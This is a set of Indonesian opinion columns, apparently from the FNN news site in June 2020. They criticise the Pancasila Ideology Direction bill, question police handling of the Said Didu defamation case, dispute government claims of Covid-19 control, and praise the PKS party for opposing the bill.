by Dr. Margarito Kamis SH.M.Hum Jakarta FNN – Jum’at (12/06). Bukankah idiologi itu secara pars pro toto telah merupakan haluan kehidupan buat sebuah bangsa? Tidakkah idiologi itu telah dengan sendirinya mewakili ide yang dianggap logis? Yang dengan itu sebuah bangsa tersebut bergerak meniti kehidupan kongkritnya? Tidakkah ide yang kelak dipakai menjadi idiologi itu, sampai pada titik itu, disebabkan kemampuannya mengadptasikan nilai-nilai hebat? Yang dengan itu diterima menjadi haluan, dan atau pandangan hidup berbangsa dan bernegara? Bila idiologi yang per defenisi telah merupakan haluan itu, “masih harus dirumuskan lagi haluannya,” lalu apa itu idiologi? Soal-soal di atas, sejauh ini merupakan kristalisasi dari ragam kritikan yang terus mewarnai kehidupan politik Indonesia hari-hari ini. Soal itu berkelindan dengan kenyataan lain. Kenyataan lain yang fundamental adalah RUU Haluan Idiologi Pancasila (HIP) yang tidak menunjuk Ketetapan MPRS Nomor XXV/MPRS/1966 sebagai dasar pijakannya. MPRS Mau Meneliti Ketetapan MPRS di atas, teridentifikasi sejauh ini mendominasi rute perbincangan RUU HIP. Menenggelamkan semua kalangan ke dalam, seolah-olah TAP itu adalah satu-satunya TAP, yang relefan untuk diperbicangkan. Ketetapan MPRS yang lain, seolah kehilangan relefansinya. Ada juga Ketetapan MPRS Nomor XXVI/MPRS/1966 Tentang Pembentukan Panitia Peneliti Ajaran-Ajaran Pemimpin Besar Revolusi Bung Karno. Ketetapan ini ditetapkan pada tanggal 5 Juli 1966. Tanggal yang sama dengan ketetapan MPR Nomor XXV itu. Apa yang hendak dicapai dengan ketetapan yang hanya berisi 5 (lima) pasal ini? Dalam pertimbangannya dinyatakan; a. bahwa karya-karya Pimpinan Besar Revolusi Bung Karno perlu diabadikan untuk kepentingan Rakyat. Oleh karena itu Rakyat berhak dan berkewajiban untuk mengembangkannya secara keratif; bahwa sebagai ajaran, karya-karya Pemimpin Besar Revolusi Bung Karno perlu disistimatisasi dan menghilangkan kata-kata dan bagian-bagian yang sekedar merupakan tanggapan insidentil dari pimpinan Besar Revolusi Bung Karno terhadap sesuatu Bab atau sesuatu masalah tertentu; Bahwa dengan adanya penghianatan gerakan kontra-revolusi G. 30 S PKI, ada bagian-bagian dari ajaran Pimpinan Besar Revolusi Bung Karno yang dipersoalkan oleh masyarakat dan berhubungan dengan itu, Majelis Permusyawaratan Rakyat Sementara sebagai penjelmaan seluruh rakyat Indonesia wajib menanggapi secara wajar dalam rangka mendapatkan kepastian yang objektif tentang ajaran-ajaran tersebut, agar dalam mengamalkannya, rakyat Indonesia tidak mudah terjerumus ke dalam tindakan-tindakan atau sikap yang bertentangan atau menyeleweng daripadanya. Hasil kerja Panitia, menurut pasal 3 TAP ini harus menyampaikan laporannya ke Badan Pekerja MPRS untuk mendapatkan persetujuan, sambil menunggu pengesahan oleh MPRS atau MPR hasil pemilihan umum yang akan datang. Apa isi laporannya? Sampai sekarang tidak jelas. Pada Sidang Istimewa MPRS tahun 1967, bahkan sampai sidang umum MPR tahun 1973, tidak terlihat laporan itu, apalagi dibahas. Apakah benar-benar dilakukan penelitian, dilaporkan ke BP MPRS, juga tidak jelas. Tidak dapat berspekulasi, tetapi kenyataan terferifikasi menunjukan pada Sidang Umum MPR tahun 1973, juga tak dikeluarkan ketetapan tentang pengesahan laporan itu. Kenyataan ini mengandung dua masalah. Pertama, apa dan bagaimana ajaran Bung Karno? Mana yang dinyatakan dikoreksi atau yang tidak dikoreksi? Sebagai konsekuensi tidak ada laporan itu, maka tidak seorang pun yang dapat secara otoritatif menyatakan ajaran Bung Karno bagian ini atau itu sebagai ajaran, setidak-tidaknya tidak bisa dikembangkan. Kedua, tidak adanya ajaran Bung Karno Pimpinan Besar Revolusi yang dikoreksi secara hukum, dan dinyatakan secara hukum. Misalnya, tidak bisa dikembangkan, maka konsekuensi hukumnya tidak ada ajaran Bung Karno yang terlarang untuk dikembangkan. Konsekuensi ini menghasilkan kabut hitam tebal untuk dua hal. Bagaimana memastikan secara spesifik ajaran bung Karno? Bagaimana memastikan secara spesifik cara mengembangkannya? Ini adalah dua kabut tebalnya. Pada titik ini, beralasan untuk menempatkan RUU HIP sebagai cara mengembangkan ajaran Bung Karno. Cara yang kehebatannya terlegitimasi secara rapuh dengan hukum. Menandai RUU HIP itu sebagai cara pengembangan ajaran bung karno, didorong oleh kenyataan. Untuk sebagian, RUU ini terang-terangan mengutip bagian-bagian kecil pidato Bung Karno yang disampaikan dihadapan rapat BPUPKI tanggal 1 Juni 1945. Harus disebut sebagian kecil saja, sebab soal lain yang teridentifikasi berasal dari Bung Karno, terutama setelah 5 Juli 1959, juga beralasan disodorkan. Mengambil pidato Bung Karno tangga 1 Juni 1945 sebagai ajaran Bung Karno, dalam sifatnya tidak menyelesaikan soal. Mengapa? Bagaimana memberi pijakan rasional atas pidato itu sebagai ajaran ajaran Bung Karno? Itu satu. Kedua, disebabkan Bung Karno hanyalah satu diantara sejumlah tokoh yang menyampaikan pikiran dan gagasannya dalam rapat itu. Mau diapakan atau diberi sifat apa terhadap pidato tokoh-tokoh lain, yang menyampaikan pikirannya pada tempat dan tanggal yang sama 1Juni 1945 itu? Tak bisa disangkal dari pidato Bung Karno itulah, nama Pancasila untuk pertama kalinya disebut. Bung Karno menyebut lima prinsip. Kelak dikenal dengan lima sila Pancasila. Susunan prinsip-prinsip yang disebut Bung Karno, yang dinamakan Pancasila adalah: 1. Kebangsaan Indonesia. 2. Internasionalisme atau peri-kemanusiaan. 3. Mufakat atau demokrasi. 4. Kesejahteraan sosial. Prinsip Indonesia merdeka dengan bertakwa kepada Tuhan Yang Maha Esa. Dalam uraian Bung Karno selanjutnya dinyatakan; Jikalau saya peras yang lima menjadi tiga dan yang tiga menjadi satu, maka dapatlah saya satu perkataan Indonesia yang tulen, yaitu perkataan “gotong royong.” Negara Indonesia yang kita dirikan harus berdasarkan gotong royong. Prinsip gotong royong diantara yang kaya dan yang tidak kaya, antara Islam dan yang Kristen, antara yang bukan Indonesia tulen dengan peranakan yang menjadi bangsa Indonesuia. Inilah saudara-saudara, yang saya usulkan kepada saudara-saudara. Berubah 100 Persen Bung Karno melanjutkan lagi, Pancasila menjadi Tri Sila, Eka Sila. Tetapi terserah tuan-tuan, mana yang tuan-tuan pilih; Tri Sila, Eka Sila ataukah Pancasila. Prinsip-prinsip seperti yang saya usulkan kepada saudara-saudara ini, adalah prinsip untuk Indonesia Merdeka yang abadi (Pidato Bung Karno ini dikutip dari RM. A.B Kusuma, 2004). Kenyataan itu tak bisa disangkal untuk alasan apapun. Sama dengan tak bisa juga menyangkal kenyataan lain kala itu. Termasuk yang tak bisa disangkal adalah kenyataan yang muncul dikemudian hari. Perubahan-peerubahan yang dilakukan oleh Panitia Sembilan. Kenyataan lain sesudah itu adalah kelima prinsip yang Bung Karno sebut Pancasila itu, mengalami perubahan 100 persen setelah dirumuskan oleh Panitia Sembilan. Isi dan susunannya berubaha total. Ketuhanan Yang Maha Esa misalnya, berubah menjadi sila pertama, berbeda dengan susunan Bung Karno. Keadilan sosial, yang sama sekali tak disebut oleh Bung Karno, muncul menjadi sila kelima. Sila-sila lainnya juga berubah. Bagaimana menjelaskan kenyatuan ini? Bagaimana kenyataan ini muncul? Beralasankah melepaskan kenyataan baru pidato-pidato tokoh lainnya kala itu? Profesor Soepmomo misalnya, pada satu bagian pidatonya bebricara tentang musyawarah dan keadilan. Soal agama dan keadilan, di sisi lain terlihat begitu dalam dijelaskan oleh Ki Bagoes Hadikusumo. Profesor Soepomo, saya kutip seperlunya menyatakan: Kepala desa atau kepala rakyat berwajib menyelengarakan keinsafan keasdilan rakyat, haru senantiasa memberi bentuk (Gestaltung), kepada rasa keadilan, dan cita cita rakyat. Oleh karena itu, Soepomo melanjutkan, kepala rakyat “memegang adat” (kata pepatah orang Minangkabau) senantiasa memperhatikan segala gerak-gerik dalam masyarakatnya untuk maksud itu. Senantiasa bermusyawarah dengan rakyatnya atau dengan kepala-kepala keluarga dalam desanya. Supaya pertalian batin antara pemimpin dan rayat seluruhnya senantiasa terpelihara. Hasrat keadilan telah dilambungkan Profesor Soepomo. Terlihat lebih melambung jauh dalam pidato Ki Bagoes Kadikusuma. Ki Bagoess menguraikan pikirannya ke dalam 12 (dua belas) point. Terdapat dua point yang tegas menunjukan Ki Bagoes bicara soal keadilan. Menariknya, Ki Bagoes pertalikan pikiran itu dengan jelas dan tegas pada Islam. Pada point nomor 4, Ki Bagoes menyatakan” Islam mengajarkan persatuan atas dasar persaudaraan yang kokoh, maka bangunlah negara di atas ajaran Islam. Hasrat keadilan itu mucul lagi pada point 8 (delapan). Dikatakan oleh Ki Bagoes, Islam membangun pemerintahan yang adil dan menegakan keadilan berdasar kerakyatan dan musyawarah serta kebebasan memeluk agama (Lihat kembali RM. AB Kusumo, 2004). Pembaca FNN yang budimkan, dua kenyataan ini, hemat saya lebih dari cukup menggoyahkan. Setidaknya membuat rapuh setiap pikiran yang menjadikan pidato Bung Karno tanggal 1 Juni 1945 sebagai ajaran. Saya berpendapat tidak mungkin pikiran ini dirujuk sebagai objek penelitian BP MPR. Hemat saya yang paling mungkin ditunjuk adalah pikiran-pikirian Bung Karno yang terlontar dan sesudah memegang kekuasaan presiden sejak 5 Juli 1959. Pidato Dikuatkan MPRS Masalahnya sekali lagi, tidak diketahui ajaran apa saja dari Bung Karno yang dikesampingkan dan apa yang dapat dikembangkan. Ini, disebabkan MPRS pada tahun 1966 telah menugaskan kepada sebuah Panitia untuk meneliti ajaran-ajaran Bung Karno. Namun tak diketahui hasil akhirnya. Apa panitia itui bekerja atau tidak? Tidak diketahui. Bila bekerja, apakah hasil dilaporkan ke BP MPRS atau tidak? Juga tak diketahui. Bila berhasil, ke mana laporan itu? Aapakah dilaporkan ke BP MPRS? Dalam kenyataannya, secara hukum tidak ada satu pun TAP MPRS, bahkan tak satu pun juga TAP MPR hasil pemilu yang bersidang pada tahun 1973, yang dikeluarkan untuk tujuan itu. Apakah kegagalan ini disebabkan atau memiliki pertalian dengan Pak Jendral Nasution yang telah lebih dahulu meninggalkan MPR sebelum sidang MPR 1973? Tak juga jelas. Bung Karno setelah 5 Juli 1959, beda dengan Bung Karno sebelum 5 Juli 1959 atau sebelum dekrit. Sebelum Juli 1959 Bung Karno hanya sekadar simbol, presiden. Tak punya kuasa eksekutif. Bung Karno setelah 5 Juli, yang telah menggenggam kembali kekuasaan eksekutif menurut UUD 1945, menjadi figur, kalau bukan satu-satunya, merupakan satu figur yang mendominasi kehidupan bernegara. Pidato-pidatonya pada setiap ulang tahun kemerdekaan tanggal 17 Agustus, diangkat dalam makna dikuatkan. Beberapa diantaranya dibuat menjadi TAP MPRS. Apakah hal-hal yang dinyatakan Bung Karno dalam pidato inilah yang dimaksud dengan ajaran Bung Karno oleh TAP MPRS Nomor XXVI/MPRS/1966? Lagi-lagi itu jadi soal. Rumit memang. Tetapi baiklah, mari mengenal beberapa di antara pidatonya, yang dikuatkan MPRS dengan TAP MPRS. Pidato Bung Karno tanggal 17 Agustus 1959 ditetapkan MPRS sebagai landasan pembangunan. Pidato Bung Karno tanggal 17 Agustus 1959 ini dikenal dalam politik Indonesia kala itu dengan nama “Penemuan Kembali Revolusi Kita.” Garis besar pidato berisi lima hal. Sering disebut lima unsur. Kelima hal itu adalah: 1. UUD 1945. 2. Sosialisme Indonesia. 3. Demokrasi Terpimpin. 4. Ekonomi Terpimpin. 5. Kepribadian Indonesia. Semuanya disingkat menjadi USDEK, dan disebut Manipul Usdek. Itu sebabnya pidato ini lebih dikenal dengan nama Manifesto Politik (Manipol USDEK). Pidato ini, entah bagaimana dikuatkan dan diberi bobot hukum oleh MPRS melalui TAP MPRS. TAP MPRS dimaksud adalah TAP MPRS Nomor I/MPRS/1960 Tentang Manifesto Politik Republik Indonesia sebagai Garis-Garis Besar Haluan Daripada Negara. Diikuti dengan TAP MPRS Nomor II/MPRS/1960 Tentang Garis-Garis Besar Pola Pembangunan Nasional Semesta Berencana Tahap Pertama. Tanggal 17 Agustus 1961 Bung Karno kembali berpidato. Pidato ini memang tidak dikuatkan dengan TAP MPRS, tetapi tetap saja menarik. Pada pidato ini dikenal apa yang disebut RESOPIM. Kependekan dari Revolusi, Idiologi Nasional Progresif, yaitu UUD 1945 plus Manipol USDEK dan Kepemimpinan Nasional. Pidato Bung Karno tangal 17 Agustus 1963 yang dikenal dengan Genta Suara Revolusi Indonesia (Gesuri). Juga pidato Bung Karno 17 Agustus 1964 dikenal dengan Tahun Vivere Pericoloso (TAVIP). Pidato Bung Karno pada Musyawarah para Menteri negara-negara Afrika-Asia tanggal 10 April 1964, dan pidato Bung Karno yang dikenal dengan The Era of Freedom is of Confrontation di KTT Non Blok ke II di Kairo tanggal 6 Oktober 1964, semuanya dikuatkan MPRS. Ini dituangkan dalam TAP MPRS Nomor VII/MPRS/1965. Sulit memang menandai soal ini semua menjadi objek yang dituju TAP MPRS Nomor XXVI/MPRS/1966. Sulit juga menyodorkan pidato yang dikenal dengan Jalannya Revolusi Kita (JAREK) juga sebagai objek yang dituju TAP MPRS di atas. Sesulit ini sekalipun, hemat saya tidak lebh sulit daripada menjadikan pidato Bung Karno tanggal 1 Juni 1945 sebagai fundasi RUU HIP. Karena alasan-alasan yang telah dikemukakan di muka. DPR boleh saja memiliki kreasi menemukan lorong-lorong sempit untuk meloloskan RUU ini. Problemnya di ujung lorong itu telah ada jebakan. Yang pasti memudarkan PDIP. Apa jebakan itu? Bila jadi RUU ini jadi UU, maka bukan hanya pasal, tetapi ayat, bahkan huruf dan kata demi kata dalam UU itu, dapat dijuji di Mahkamah Konstitusi? PDIP pasti kehilangan argumen memprtahankan Pancasila sebagai idiologi. Itu bahayanya. Saran Saya tariklah RUU ini. Semoga. Penulis adalah Pengajar HTN Universitas Khairun Ternate

Mengapa Polisi Membantah Status Tersangka Said Didu?

By Asyari Usman Jakarta, FNN - Pagi hari tadi (11/6/2020), portal berita online, “kumparan”, sempat memicu adrenalin banyak orang. Portal berita ini membuat judul berita “Said Didu Ditetapkan Sebagai Tersangka Ujaran Kebencian Terkait Luhut”. Menurut “kumparan”, penetapan tersangka itu tertuang di dalam surat Dittipidsiber Bareskrim Polri tertanggal 10 Juni 2020. Sekitar jam 12 siang, berita itu dibantah oleh kepolisian. Sangat cepat. Sebagaimana diberitakan “kumparan” juga. Bantahan itu langsung datang dari Kadiv Humas Polri Irjen Argo Yuwono. Muhammad Said Didu (MSD) belum ditetapkan sebagai tersangka. Dikatakan, polisi hanya melakukan gelar perkara pencemaran nama baik Luhut Binsar Pandjaitan (LBP). Tapi, sumber-sumber di lingkaran penyidikan menyebutkan sebenarnya status tersangka terhadap MSD sudah ditetapkan. Gelar perkara sudah dilakukan kemarin dan disepakati penetapan tersangka itu. Namun, Polisi tampaknya mengambil sikap ‘cautious’ (hati-hati). Mengingat kasus MSD vs LBP menjadi perhatian nasional. Artinya, reaksi publik akan menjadi faktor penting. Tanpa harus melakukan survei, tidak perlu ragu menyimpulkan bahwa lanjutan perkara MSD vs LBP adalah jadwal yang sangat ditunggu-tunggu khalayak. Ketika pagi tadi muncul berita ‘ditetapkan sebagai tersangka’, media sosial langsung bersemangat. Semangat yang berinklinasi ke MSD. Publik menantikan lanjutan perkara ini karena mereka melihat bahwa MSD tidak mencemarkan nama baik LBP. Masyarakat melihat tindakan LBP memperkarakan MSD sebagai langkah pamer kekuasaan. Sebagai bentuk arogansi kekuasaan. Meskipun pihak LBP sibuk mengatakan bahwa langkah ini semata-mata tindakan hukum. Para pakar hukum berpendapat MSD hanya mengkritik pemikiran dan kebijakan publik LBP. Tetapi, pihak LBP berkeras dengan pendapat mereka bahwa yang dilakukan MSD adalah penghinaan. Tentu ini tidak masalah. Sekarang, posisi MSD masih belum menjadi tersangka. Yang menjadi pertanyaan, mengapa Polisi membantah berita pertama? Apakah para wartawan, termasuk wartawan “kumparan”, yang mendapatkan surat Dittipidsiber (Direktorat Tindak Pidana Siber) itu ‘salah paham’? Kelihatannya bukan wartawan yang salah paham. Ada kalkulasi lain. Patut disangka bahwa penetapan MSD sebagai tersangka akan membangkitkan semangat pubik untuk melawan kesewenangan. Sekaligus membangkitkan solidaritas untuk MSD. Sejak awal, kasus ini senantiasa mendapatkan perhatian luas. Mungkin perkara ini didaulat oleh publik sebagai pertarungan antara ‘yang kuat’ lawan ‘yang lemah’. Sejak kasus MSD vs LBP mengemuka, publik langsung memposisikan MSD sebagai ‘orang lemah’ dan LBP sebagai ‘orang kuat’. Dari sinilah menggumpal opini publik yang sangat solid berada di belakang MSD. Orang bisa saja mengabaikan opini publik dalam perkara ini. Tetapi kasus MSD itu, suka atau tidak suka, lebih banyak mengambil aspek politis ketimbang aspek hukum. Vonis hukum terhadap MSD, kalau itu terjadi, akan dilihat oleh publik sebagai vonis politik. Ini yang membuat berbagai pihak yang berwenang kelihatannya ingin ‘mutar-mutar’ dulu. Banyak yang memperkirakan kasus ini akan ditangani dengan ‘lebih bijak’ agar aspek politisnya tidak membesar. Memenjarakan MSD pastilah tidak sulit. Membuktikan MSD melakukan pencemaran nama baik atau ujaran kebencian, pasti juga bukan masalah besar. Hanya saja jika MSD dijebloskan ke penjara, dia tidak akan dipandang sebagai narapidana biasa. Said Didu akan menyandang status ‘martyr’. Akan dianggap sebagai korban kesewenangan. Ini yang tak akan terbendung. Dan prospek ini yang bisa sangat merepotkan. MSD bisa dengan cepat membola salju. Akan menjadi simbol perlawanan terhadap arogansi kekuasaan. Dalam sejarah di mana pun juga, bola sajlu yang meluncur akan sulit dihadang. Kemungkinan ini yang kelihatannya menjadi salah satu perhitungan cermat berbagai pihak. MSD bukan ‘calon tersangka’ biasa. Dia sudah menjadi ‘milik’ rakyat. Akan dijaga oleh rakyat. MSD ada dalam kedaulatan rakyat. Yang nilanya lebih tinggi dari kedaulatan ministerial.[] 11 Juni 2020(Penulis Wartawan Senior)

Fadjroel Puji Presiden, Corona Ledek Jokowi!

Oleh Mochamad Toha Jakarta, Detak Jateng - Juru Bicara Presiden Fadjroel Rachman mengatakan, kepimpinan Presiden Joko Widodo (Jokowi) berhasil mengendalikan penyebaran Covid-19. Fadjroel melanjutkan, pemerintah juga mampu menciptakan keamanan baik di bidang kesehatan, sosial, dan ekonomi. Fadjroel menilai bahwa keberhasilan kepemimpinan Jokowi ini dibuktikan melalui kinerja tim Gugus Tugas Percepatan Penanganan Covid-19. “Hal ini menunjukkan, sistem responsif pandemi yang dibangun oleh Presiden Jokowi benar-benar bekerja dalam menciptakan keamanan dalam dimensi kesehatan, sosial dan ekonomi,” kata Fadjroel dikutip dari siaran pers yang diterima, Senin (8/6/2020). Menurut Fadjroel, dalam situasi pandemi Covid-19, Presiden berupaya membangun sistem responsif terhadap pandemi. Salah satu yang dibentuk dari sistem responsif ini, yakni tim Gugus Tugas Percepatan Penanganan Covid-19. “Presiden membentuk sistem pengorganisasian Gugas Covid 19 yang melibatkan BNPB, seluruh kementerian/lembaga, Polri, TNI dan pemerintahan daerah,” ujarnya. Keberhasilan kepemimpinan Jokowi terlihat dari hasil survei yang dikeluarkan oleh Indikator. Berdasarkan survei tersebut, keberhasilan kepemimpinan Jokowi ini juga dilihat dari tingkat kepuasan masyarakat terhadap kinerja tim gugus tugas yang menunjukan tingkat responden sangat puas dan cukup puas sebanyak 63,7 persen. Selain itu, upaya Jokowi yang melibatkan aparat TNI dan Polri untuk menghadapi pandemi ini juga dinilai didukung oleh masyarakat. Ia menyebut, dari hasil survei indikator tersebut, sebesar 85,7 persen responden merasa yakin polisi dapat menjaga keamanan selama masa pandemi, dan 88,9 persen responden merasa yakin TNI dapat menjaga keamanan selama masa pandemi. Fadjroel mengatakan, mayoritas masyarakat percaya kepada kinerja pemerintah pusat. “Hal ini terlihat dari survei indikator yang menunjukkan, 47,6 persen cukup puas dan 8,8 persen sangat puas terhadap Pemerintah Pusat atau rata-rata mencapai 56,4 persen,” ujarnya. Presiden menghargai kepercayaan masyarakat terhadap kinerja pemerintahannya. Hal ini akan menjadi modal bagi Jokowi dalam bekerja. Jokowi juga menyampaikan apresiasinya terhadap sikap gotong royong kemanusiaan yang dilakukan oleh masyarakat selama pandemi. Sedangkan kebijakan-kebijakan yang masih dikritisi oleh masyarakat pun akan menjadi perhatian serius Presiden. Seperti program bantuan sosial yang belum terdistribusi dengan baik. Tampaknya Jubir yang akrab dipanggil Pandjoel ini belum sempat baca data terbaru terkait perkembangan Virus Corona atau Covid-19 di Indonesia. Update data terbaru kasus Covid-19 di Indonesia hari Rabu (10/6/2020) bisa dilihat berikut ini. Pada Rabu (10/6/2020), rekor penambahan kasus harian kembali terlampaui, yakni dengan munculnya 1.241 kasus baru. Secara total, jumlah pasien positif Covid-19 meningkat secara signifikan, menjadi 34.316 kasus. Meskipun demikian, pasien yang berhasil sembuh pun terus bertambah. Rabu (10/6/2020), ada 715 pasien sembuh. Maka secara total 12.129 pasien, telah sehat kembali. Adapun pasien meninggal dunia, hari ini bertambah 36 pasien. Secara total, hingga saat ini ada 1.959 orang pasien telah meninggal dunia akibat terjangkit Covid-19 di Indonesia. Dari sebanyak 287.478 spesimen yang diperiksa, tercatat 253.162 kasus negatif corona. Sementara, data terkini jumlah ODP sebanyak 43.945 orang dan jumlah PDP 14.242 orang. Ada perubahan perhitungan orang berstatus ODP dan PDP. Mereka yang tidak tampak gejala terjangkit covid-19 setelah karantina 14 hari, dikeluarkan dari daftar ODP dan PDP. Penilaian Jubir Fadjroel jelas bertolak-belakang dengan pernyataan Presiden Jokowi ketika menyiapkan New Normal seperti yang direncanakan sebelumnya. Presiden Jokowi membuat pengakuan soal penanganan Virus Corona atau Covid-19. Seperti dilansir dari TribunKaltim.co, Rabu (3 Juni 2020 05:01), menjelang penerapan new normal, Jokowi tiba-tiba mengakui pemerintah belum bisa kendalikan Virus Corona. Ada apa? Secara terang-terangan, Presiden Jokowi mengakui Pemerintah belum bisa mengendalikan Virus Corona di semua wilayah. Sebelumnya, Jokowi memilih kebijakan new normal sebagai bagian dari berdamai dengan Covid-19. Oleh karena itu, kata Jokowi, pelonggaran aktivitas masyarakat di tempat-tempat publik akan dilakukan secara bertahap dan berdasarkan penilaian yang ketat. “Pembukaan baik itu pembukaan untuk tempat ibadah, pembukaan untuk aktivitas ekonomi, pembukaan untuk sekolah semuanya melalui tahapan-tahapan yang ketat,” kata Presiden saat meninjau Madjid Istiqlal, Jakarta, Selasa (2/6/2020). Pembukaan aktivitas di tempat-tempat publik tersebut menurut Presiden harus berdasarkan perhitungan yang terukur. Salah satunya dengan melihat tingkat penularan virus berdasarkan angka reproduksi Covid-19 (R-nought). “Semuanya memakai data-data keilmuan yang ketat. Sehingga kita harapkan akan berjalan dari tahapan ke tahapan dari sektor ke sektor, dari provinsi ke provinsi sesuai dengan angka-angka yang tadi saya sampaikan,” tuturnya. Presiden Bingung? Bagi Presiden Jokowi yang melihat adanya kenaikan drastis menjadi lebih dari 1.000 kasus dalam sehari, membuat Pemerintah kebingungan. Bagaimana kenaikan kasus drastis 1,000+ lebih dalam sehari, yang menunjukkan isu “Now Normal”yang prematur disebarluaskan. Ini membuat blunder hebat, sehingga penampilan Achmad Yurianto yang makin kumuh dan lelah, digantikan Dokter Reisa yang segar cantik jelita. Ia diberi tugas menyampaikan jumlah kasus yang makin menanjak mengerikan, oleh wanita cantik bersuara basah manja. “Supaya Rakyat Indonesia terpesona dengan wajah Reisa dan tidak fokus dengan angka yang dia sampaikan atau bagaimana? Kok receh sekali ya solusinya, ” tulis dr. Tifauzia Tyassuma di akun Facebook-nya. Negara-negara yang sukses menurunkan jumlah kasusnya, adalah negara-negara yang sejak awal kasus sudah Menerapkan Lockdown. China, Vietnam, Malaysia, India, kalau mau sebut beberapa nama negara Asia. Menurut Dokter Tifa, negara yang amburadul, rakyatnya ngawur, ngeyel, hobi keluyuran di jalanan, dengan Presidennya ngawur suka main offside, mencla-mencle, dan aysik sendiri dengan pencitraan, bakalan amburadul juga grafik Coronanya, jumlah kasusnya, dan risiko kematian banyak warganya. “Saya sedang ngomongin Amerika. Jangan GR! Btw, Saya jadi kasihan dengan Reisa. Dokter cantik lulusan universitasnya Lippo Group ini dijadikan permen. Dikira rakyat Indonesia itu anak-anak yang diem kalau dikasih permen. Masa’ Dirjen diganti Permen? Tim pencitraan Pemerintah sumpah hancur kerjanya” sindir Dokter Tifa. Apakah klaim Fadjroel yang menilai kepemimpinan Jokowi berhasil kendalikan Covid-19 itu termasuk tim pencitraan Pemerintah yang hancur kerjanya? Penulis Wartawan Senior

PKS Panen Pahala Politik Dari RUU HIP

by M Rizal Fadillah Jakarta FNN – Kamis (11/06). Dalam proses Rnacangan Undang-Undang Haluan Ideologi Pancasila (HIP) hingga ditetapkan sebagai RUU inisiatif Dewan pada Sidang Paripurna bulan Ramadhan lalu, partai politik yang pas menerima "dosa politik" adalah PDIP. Sementara yang layak mendapat panen "pahala politik" adalah PKS. Tanpa menafikan perjuangan secara personal dari anggota Dewan, maka secara institusional atau fraksional, yang berhak menerima "berkah politik" di bulan bulan Ramadhan itu adalah PKS. Banyak manfaat politik yang didapat PKS. Sebab hanya PKS yang tidak ikut-ikutan gotong-royong menerima ususl RUU HIP ini. Sebenarnya untuk perjuangan dan "kemenangan" PKS dipetik bukan hanya dari RUU HIP akan tetapi juga dari Perppu Corona. Hanya Fraksi PKS menjadi satu-satunya fraksi yang menolak ditetapkan Perppu No 1 tahun 2020 menjadi Undang-Undang. PKS membuka mata dan telinga untuk mendengar penolakan yang luas dari masyarakat. Sejak awal, aspirasi rakyat memang berada pada kutub yang menolak Perppu Corona ini ditetapkan menjadi undang-undang. Karena khawatir Perppu tersebut menjadi legitimasi dari korupsi, atau sekurang-kurangnya membuka jalan bagi korupsi terselubung. UU No. 2 tahun 2020 asal Perppu No. 1 tahun 2020 kini sedang dalam proses Judicial Review di Mahkamah Konstitusi. RUU HIP pasca ditetapkan, muncul berbagai aspirasi penolakan yang meluas dari masyarakat, khusunya umat Islam. Banyak pernyataan politik, seminar dan diskusi, atau opini di media, yang seluruhnya mengarah pada penolakan. Ada isu sensitif pada RUU HIP yang berpotensi menjadi gumpalan perlawanan, yaitu kebangkitan PKI atau pengembangan faham komunisme. Konten RUU dinilai mengandung "penyelundupan" faham komunisme-PKI. Juga ada keinginan terselubung untuk marjinalisasi agama. Ada kepentingan politik Orde Lama yang ingin kembali bermesraan dengan komunisme-PKI. Faham yang jelas-jelas menjadi barang terlarang untuk bangsa Indonesia. PKS kini ditempatkan sebagai harapan perjuangan rakyat. Harapan untuk menjaga mengoreksi, meluruskan agenda-agenda penyimpangan ideologi Pancasila. Jika PKS tetap gigih melakukan perlawanan, maka disadari atau tidak, PKS menjadi lokomotif dari proses perlawanan politik kerakyatan atau keumatan di parlemen. Tentu saja dengan dukungan personal yang tersebar di berbagai Fraksi lainnya. Sebenarnya bukan hal yang tidak mungkin, bahwa peta politik pada pembahasan selanjutnya bisa saja berubah. Aspirasi atau tekanan politik di luar parlemen nanti, turut menentukan perubahan peta tersebut. Prospek bagus karena isu dan misi terselubung RUU HIP adalah semangat kebangkitan PKI dan Komunisme. Jika semua fraksi di DPR masih berkoalisi dalam "kemungkaran" terhadap ideologi Pancasila, maka PKS mendapat pahala politik tersebut sendirian. Pepatah bijak, “kekalahan adalah kemenangan yang tertunda”. Investasi masa depan yang menjanjikan dan gemilang telah dilakukan PKS sejak sekarang. Jika PKS mampu merawat investasi politik ini dengan baik, maka "kekalahan" itu akan menjadi akselerator dukungan politik di luar dugaan kelak. Kalaupun terjadi pergerakan atau konfigurasi politik pada tahap pembahasan dengan Pemerintah, maka tetap saja PKS mendapat "advantage" dari perubahan tersebut. Pertarungan menjadi menarik karena berada di tataran norma yang fundamental. Menyangkut prinsip dan ideology bangsa dan negara. Karenanya rakyat dan umat Islam akan bersatu dalam perjuangan "hidup mati" terhadap gagasan gila RUU HIP ini. Aspirasi umat Islam menjadi sangat mendasar. Aspirasi umat Islam itu bukan untuk perbaikan yang siafatnya parsial atau tambah kurang. Melainkan penolakan terhadap RUU HIP untuk tidak menjadi Undang-Undang. Jadinya hitam dan putih. Bukan yang abu-abu. Bangsa dan umat Islam Indonesia tak boleh disandra oleh keinginan dan gagaan gila satu partai politik. Partai-partai harus berhitung matang dalam konteks "dosa dan pahala politik” di mata rakyat dan umat Islam. Itu sebagai akibat dari penyikapan politik yang salah. Sikap politik yang hanya didadasarkan pada angka-angka dan barter kekuasaan jangka pendek. Bisa juga disandra dengan kasus-kasus korupsi pimpinan partai. Rakyat, khususnya umat Islam nanti punya dua penilaian terhadap partai politik. Pertama, partai politik yang pro terhadap PKI/Komunisme dan Orde Lama. Kedua, yang menolak PKI/Komunisme dan orde Lama. Hanya ada dua kubu representasi kutub-kutub perjuangan yang ada di Parlemen. TNI yang punya akar kesejarahan anti terhadap PKI/Komunisme juga merupakan kekuatan kerakyatan lain. Kekuatan penting dan strategis penting untuk menjadi pertimbangan politik. Pada akhirnya, rakyat dan umat Islam melakukan kolaborasi politik dengan TNI untuk menyelamatkan kemurnian ideologi Pancasila. Meskipun demikian, partai yang berpeluang untuk mendapatkan dukungan lebih besar adalah mereka yang konsisten memperjuangan aspirasi kerakyatan dan keumatan. Untuk hal ini, PKS masih unggul di depan. PKS mampu dan cerdas dalam mengkapitalisasi fakta dan peristiwa politik kekinian. Pahala politik pantas untuk didapat PKS. Untuk itu, PKS harusnya didukung secara nyata. Dukungan politik masyarakat tersebut memberi pengaruh untuk "schock therapy" konfigurasi peta politik di Parlemen. Sikap politik rakyat, khususnya umat Islam terhadap RUU HIP yang kental berbau amis PKI/komunisme ini, tentu bukan untuk direvisi atau perbaikan narasi. Tetapi RUU ini harus untuk dibahas di DPR. Tidak dengan opsi yang lain. 